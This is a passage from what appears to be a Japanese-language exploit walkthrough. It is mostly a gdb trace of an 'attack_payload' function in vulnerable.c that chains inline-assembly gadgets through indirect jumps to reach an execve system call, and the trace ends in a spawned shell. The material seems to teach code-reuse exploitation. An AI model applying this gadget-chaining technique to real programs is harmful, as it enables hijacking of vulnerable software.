1: x/i $pc
=> 0x8048502 <attack_payload+39>:   jmp    *(%edx)
(gdb) 
16  asm("add ebp,edi; jmp [ebp-0x39];");
1: x/i $pc
=> 0x80484e8 <attack_payload+13>:   add    %edi,%ebp
(gdb) 
0x080484ea in attack_payload () at vulnerable.c:16
16  asm("add ebp,edi; jmp [ebp-0x39];");
1: x/i $pc
=> 0x80484ea <attack_payload+15>:   jmp    *-0x39(%ebp)
(gdb) 
28  asm("inc ebx; fdivr st(1), st; jmp [edx];");
1: x/i $pc
=> 0x8048504 <attack_payload+41>:   inc    %ebx
(gdb) 
0x08048505  28  asm("inc ebx; fdivr st(1), st; jmp [edx];");
1: x/i $pc
=> 0x8048505 <attack_payload+42>:   fdiv   %st,%st(1)
(gdb) 
0x08048507  28  asm("inc ebx; fdivr st(1), st; jmp [edx];");
1: x/i $pc
=> 0x8048507 <attack_payload+44>:   jmp    *(%edx)
(gdb) 
16  asm("add ebp,edi; jmp [ebp-0x39];");
1: x/i $pc
=> 0x80484e8 <attack_payload+13>:   add    %edi,%ebp
(gdb) 
0x080484ea in attack_payload () at vulnerable.c:16
16  asm("add ebp,edi; jmp [ebp-0x39];");
1: x/i $pc
=> 0x80484ea <attack_payload+15>:   jmp    *-0x39(%ebp)
(gdb) 
26  asm("mov [ebx-0x17bc0000], ah; stc; jmp [edx];");
1: x/i $pc
=> 0x80484fb <attack_payload+32>:   mov    %ah,-0x17bc0000(%ebx)
(gdb) 
0x08048501  26  asm("mov [ebx-0x17bc0000], ah; stc; jmp [edx];");
1: x/i $pc
=> 0x8048501 <attack_payload+38>:   stc    
(gdb) 
0x08048502  26  asm("mov [ebx-0x17bc0000], ah; stc; jmp [edx];");
1: x/i $pc
=> 0x8048502 <attack_payload+39>:   jmp    *(%edx)
(gdb) 
16  asm("add ebp,edi; jmp [ebp-0x39];");
1: x/i $pc
=> 0x80484e8 <attack_payload+13>:   add    %edi,%ebp
(gdb) 
0x080484ea in attack_payload () at vulnerable.c:16
16  asm("add ebp,edi; jmp [ebp-0x39];");
1: x/i $pc
=> 0x80484ea <attack_payload+15>:   jmp    *-0x39(%ebp)
(gdb) 
28  asm("inc ebx; fdivr st(1), st; jmp [edx];");
1: x/i $pc
=> 0x8048504 <attack_payload+41>:   inc    %ebx
(gdb) 
0x08048505  28  asm("inc ebx; fdivr st(1), st; jmp [edx];");
1: x/i $pc
=> 0x8048505 <attack_payload+42>:   fdiv   %st,%st(1)
(gdb) 
0x08048507  28  asm("inc ebx; fdivr st(1), st; jmp [edx];");
1: x/i $pc
=> 0x8048507 <attack_payload+44>:   jmp    *(%edx)
(gdb) 
16  asm("add ebp,edi; jmp [ebp-0x39];");
1: x/i $pc
=> 0x80484e8 <attack_payload+13>:   add    %edi,%ebp
(gdb) 
0x080484ea in attack_payload () at vulnerable.c:16
16  asm("add ebp,edi; jmp [ebp-0x39];");
1: x/i $pc
=> 0x80484ea <attack_payload+15>:   jmp    *-0x39(%ebp)
(gdb) 
26  asm("mov [ebx-0x17bc0000], ah; stc; jmp [edx];");
1: x/i $pc
=> 0x80484fb <attack_payload+32>:   mov    %ah,-0x17bc0000(%ebx)
(gdb) 
0x08048501  26  asm("mov [ebx-0x17bc0000], ah; stc; jmp [edx];");
1: x/i $pc
=> 0x8048501 <attack_payload+38>:   stc    
(gdb) 
0x08048502  26  asm("mov [ebx-0x17bc0000], ah; stc; jmp [edx];");
1: x/i $pc
=> 0x8048502 <attack_payload+39>:   jmp    *(%edx)
(gdb) 
16  asm("add ebp,edi; jmp [ebp-0x39];");
1: x/i $pc
=> 0x80484e8 <attack_payload+13>:   add    %edi,%ebp
(gdb) 
0x080484ea in attack_payload () at vulnerable.c:16
16  asm("add ebp,edi; jmp [ebp-0x39];");
1: x/i $pc
=> 0x80484ea <attack_payload+15>:   jmp    *-0x39(%ebp)
(gdb) 
30  asm("popa; cmc; jmp dword ptr [ecx];");
1: x/i $pc
=> 0x8048509 <attack_payload+46>:   popa   
(gdb) 
0x0804850a  30  asm("popa; cmc; jmp dword ptr [ecx];");
1: x/i $pc
=> 0x804850a <attack_payload+47>:   cmc    
(gdb) 
0x0804850b  30  asm("popa; cmc; jmp dword ptr [ecx];");
1: x/i $pc
=> 0x804850b <attack_payload+48>:   jmp    *(%ecx)
(gdb) 
16  asm("add ebp,edi; jmp [ebp-0x39];");
1: x/i $pc
=> 0x80484e8 <attack_payload+13>:   add    %edi,%ebp
(gdb) 
0x080484ea in attack_payload () at vulnerable.c:16
16  asm("add ebp,edi; jmp [ebp-0x39];");
1: x/i $pc
=> 0x80484ea <attack_payload+15>:   jmp    *-0x39(%ebp)
(gdb) 
32  asm("xchg ecx, eax; fdiv st, st(3); jmp [esi-0xf];");
1: x/i $pc
=> 0x804850d <attack_payload+50>:   xchg   %eax,%ecx
(gdb) 
0x0804850e  32  asm("xchg ecx, eax; fdiv st, st(3); jmp [esi-0xf];");
1: x/i $pc
=> 0x804850e <attack_payload+51>:   fdiv   %st(3),%st
(gdb) 
0x08048510  32  asm("xchg ecx, eax; fdiv st, st(3); jmp [esi-0xf];");
1: x/i $pc
=> 0x8048510 <attack_payload+53>:   jmp    *-0xf(%esi)
(gdb) 
16  asm("add ebp,edi; jmp [ebp-0x39];");
1: x/i $pc
=> 0x80484e8 <attack_payload+13>:   add    %edi,%ebp
(gdb) 
0x080484ea in attack_payload () at vulnerable.c:16
16  asm("add ebp,edi; jmp [ebp-0x39];");
1: x/i $pc
=> 0x80484ea <attack_payload+15>:   jmp    *-0x39(%ebp)
(gdb) 
34  asm("mov eax, [esi+0xc]; mov [esp], eax; call [esi+0x4];");
1: x/i $pc
=> 0x8048513 <attack_payload+56>:   mov    0xc(%esi),%eax
(gdb) 
0x08048516  34  asm("mov eax, [esi+0xc]; mov [esp], eax; call [esi+0x4];");
1: x/i $pc
=> 0x8048516 <attack_payload+59>:   mov    %eax,(%esp)
(gdb) 
0x08048519  34  asm("mov eax, [esi+0xc]; mov [esp], eax; call [esi+0x4];");
1: x/i $pc
=> 0x8048519 <attack_payload+62>:   call   *0x4(%esi)
(gdb) 
16  asm("add ebp,edi; jmp [ebp-0x39];");
1: x/i $pc
=> 0x80484e8 <attack_payload+13>:   add    %edi,%ebp
(gdb) 
0x080484ea in attack_payload () at vulnerable.c:16
16  asm("add ebp,edi; jmp [ebp-0x39];");
1: x/i $pc
=> 0x80484ea <attack_payload+15>:   jmp    *-0x39(%ebp)
(gdb) 
36  asm("int 0x80");
1: x/i $pc
=> 0x804851c <attack_payload+65>:   int    $0x80

システムコールの直前にレジスタを確認します。

(gdb) info registers
eax            0xb  11
ecx            0x8048689    134514313
edx            0x8048689    134514313
ebx            0x8048680    134514304
esp            0xffffd5cc   0xffffd5cc
ebp            0xffffd499   0xffffd499
esi            0xffffd5df   -10785
edi            0xfffffffc   -4
eip            0x804851c    0x804851c <attack_payload+65>
eflags         0x297    [ CF PF AF SF IF ]
cs             0x23 35
ss             0x2b 43
ds             0x2b 43
es             0x2b 43
fs             0x0  0
gs             0x63 99

実行を続けるとシェルが開きます。

(gdb) c
Continuing.
process 12191 is executing new program: /bin/dash
Error in re-setting breakpoint 1: Function "overflow" not defined.
$ ps
  PID TTY          TIME CMD
11729 pts/1    00:00:00 bash
12186 pts/1    00:00:00 gdb
12191 pts/1    00:00:00 sh
12231 pts/1    00:00:00 ps
$ 
2
mkayaalp